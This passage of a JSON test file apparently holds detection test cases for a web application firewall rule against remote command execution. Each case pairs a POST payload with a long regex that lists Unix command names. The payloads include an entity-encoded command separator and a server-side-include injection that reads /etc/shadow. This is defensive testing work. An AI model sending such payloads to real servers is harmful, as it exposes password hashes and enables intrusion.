\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "RCE from https://github.com/payloadbox/command-injection-payload-list combined with html entities" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg=%26%2359%3B+;top" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*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*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?t)|[\\n\\r;=`\\{]|\\|\\|?|&&?|\\$(?:\\(\\(?|[\\[\\{])|<(?:\\(|<<)|>\\(|\\([\\s\\x0b]*\\))[\\s\\x0b]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:7z(?:[\\s\\x0b&\\),<>\\|]|$|[arx](?:[\\s\\x0b&\\),<>\\|]|$))|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "RCE ;top with html entities two digit decimal of 59 (;)" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg=<!--#exec%20cmd="/bin/cat%20/etc/shadow"-->+Something+%26%238222%3BThe+Title%26%238221%3B.+After+something" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*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|]|$))|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|